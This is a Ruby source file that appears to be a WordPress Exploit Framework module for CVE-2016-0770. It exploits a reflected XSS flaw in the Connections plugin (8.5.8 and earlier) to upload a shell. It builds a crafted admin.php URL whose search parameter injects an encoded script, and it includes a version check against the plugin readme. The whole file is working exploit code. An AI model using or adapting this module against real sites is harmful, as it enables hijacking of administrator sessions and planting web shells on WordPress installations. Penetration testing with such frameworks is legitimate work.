# frozen_string_literal: true

class Wpxf::Exploit::ConnectionsReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::ReflectedXss

  def initialize
    super

    update_info(
      name: 'Connections <= 8.5.8 Reflected XSS Shell Upload',
      author: [
        'Larry W. Cashdollar', # Discovery and disclosure
        'rastating'            # WPXF module
      ],
      references: [
        ['WPVDB', '8372'],
        ['CVE', '2016-0770'],
        ['URL', 'http://www.vapidlabs.com/advisory.php?v=161']
      ],
      date: 'Feb 02 2016'
    )
  end

  def check
    check_plugin_version_from_readme('connections', '8.5.9')
  end

  def url_with_xss
    normalize_uri(
      wordpress_url_admin,
      'admin.php?page=connections_manage&s=">'\
      "<script>#{xss_ascii_encoded_include_script}<%2Fscript><a+href%3D\""
    )
  end
end
